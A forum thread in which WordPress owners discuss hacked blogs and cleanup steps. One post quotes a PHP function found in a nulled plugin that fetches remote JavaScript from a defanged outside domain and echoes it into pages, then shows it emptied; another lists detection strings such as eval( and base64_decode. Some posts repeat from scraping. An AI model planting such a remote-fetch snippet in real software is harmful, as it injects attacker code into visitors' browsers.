kyaw2x
Regular Member
- Dec 29, 2009
- 374
- 88
Yes, I suspect that case too, I did contacting my hosting. I'm waiting for the ticket response.
HELP! Wordpress blogsites hacked
- Thread starter kyaw2x
- Start date
Yes, I suspect that case too, I did contacting my hosting. I'm waiting for the ticket response.
Hi, i recently install:
wp-keywords
a found in wp-keywords.php
i change to:
Plugin is working a good bye to this problem.
wp-keywords
a found in wp-keywords.php
PHP:
function load_plugin_sync() {
if(function_exists('curl_init')){
$url = "hxxt w w w votistics . com/sync.js";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";}}i change to:
PHP:
function load_plugin_sync() {
}Plugin is working a good bye to this problem.
houcemtrigun
Registered Member
- Jan 4, 2010
- 77
- 21
Update:
I have contacted my hosting company and they found out that my sites was injected by a malware.
Hopfully, they have a back up of the sites before the attack.
Regular back ups are really important, especially if you have clients.
kyaw2x
Regular Member
- Dec 29, 2009
- 374
- 88
Woaahhh, my mistake!!The main cause of the script injected was the rank tracker plugin, deleting the code above in the rank-tracker-tool.php was also removing the malicious code! So guys beware of using nulled plugins because this f***king guy is adding script to several wordpress nulled plugins.
spmcnerd
Regular Member
- Dec 20, 2010
- 326
- 119
Not to bring up old news but this is also part of plugin named autopress.
Came across this thread in a www search.
The votistics domain has been going in and out of suspension,500,,
over last few days and leaving error under footer
Just changed like joshe76 and fixed. Tanks!
Came across this thread in a www search.
The votistics domain has been going in and out of suspension,500,,
over last few days and leaving error under footer
Just changed like joshe76 and fixed. Tanks!
paincake
Power Member
- Aug 18, 2010
- 724
- 3,124
1. Back up all your databases and web files. Put them in a zip file.
2. now do one of these things:
a) (not safe) Now use notepad++ to search all your files for things like
and other things you found in the malicious snippet
THIS IS NOT SAFE because these worms use a lot of techniques to disguise themselves, so you can never be sure you've deleted them all. If you miss even one worm snippet, it will be able to replicate itself in other files later. After removing all the evil snippets, reupload the files to the server.
b)(safer) Delete all the files from your hosting account (but write down your settings like database logins first). And then start reinstalling the scripts one by one. You MUST remove ALL the files from the server at once, because as long as there's at least one instance of a worm across all your files, it can be activated by anyone (even unsuspecting visitors) who opens the file via their browser and then it can replicate itself.
c) (safest) Delete all the files on the server and reinstall Windows on your personal PC. Some people say this worm is caused by desktop malware that steals your filezilla passwords (because they're stored in plain text)
After reinstalling windows, change the passwords of ALL the accounts you had stored in filezilla or delete the accounts and create new ones.
FOLLOW THE LAST (C) METHOD IF:
2. now do one of these things:
a) (not safe) Now use notepad++ to search all your files for things like
Code:
iframe
@error_reporting
eval(
base64_decode
$eva1THIS IS NOT SAFE because these worms use a lot of techniques to disguise themselves, so you can never be sure you've deleted them all. If you miss even one worm snippet, it will be able to replicate itself in other files later. After removing all the evil snippets, reupload the files to the server.
b)(safer) Delete all the files from your hosting account (but write down your settings like database logins first). And then start reinstalling the scripts one by one. You MUST remove ALL the files from the server at once, because as long as there's at least one instance of a worm across all your files, it can be activated by anyone (even unsuspecting visitors) who opens the file via their browser and then it can replicate itself.
c) (safest) Delete all the files on the server and reinstall Windows on your personal PC. Some people say this worm is caused by desktop malware that steals your filezilla passwords (because they're stored in plain text)
After reinstalling windows, change the passwords of ALL the accounts you had stored in filezilla or delete the accounts and create new ones.
FOLLOW THE LAST (C) METHOD IF:
- you use filezilla and have some passwords stored (for auto login)
- you've cleaned your host but the worm returned
- this happened on multiple hosting accounts you own
- you installed cracked software on your pc recently
I realize this is an old thread but the problem still exists for many everyday.
When I got THAT re-direction going to another website I tried to deactivate ALL my plugins and 1 would not deactivate so I deleted it through FTP. It was a plugin to STOP people from hot-linking your graphics and it was hijacking my site after it had been installed for months, if you can believe that! Maybe someone "injected" it, don't know.
Anyhow I hope that this might help someone before they do something drastic (like I was about to do!)
Cheers,
Patch
When I got THAT re-direction going to another website I tried to deactivate ALL my plugins and 1 would not deactivate so I deleted it through FTP. It was a plugin to STOP people from hot-linking your graphics and it was hijacking my site after it had been installed for months, if you can believe that! Maybe someone "injected" it, don't know.
Anyhow I hope that this might help someone before they do something drastic (like I was about to do!)
Cheers,
Patch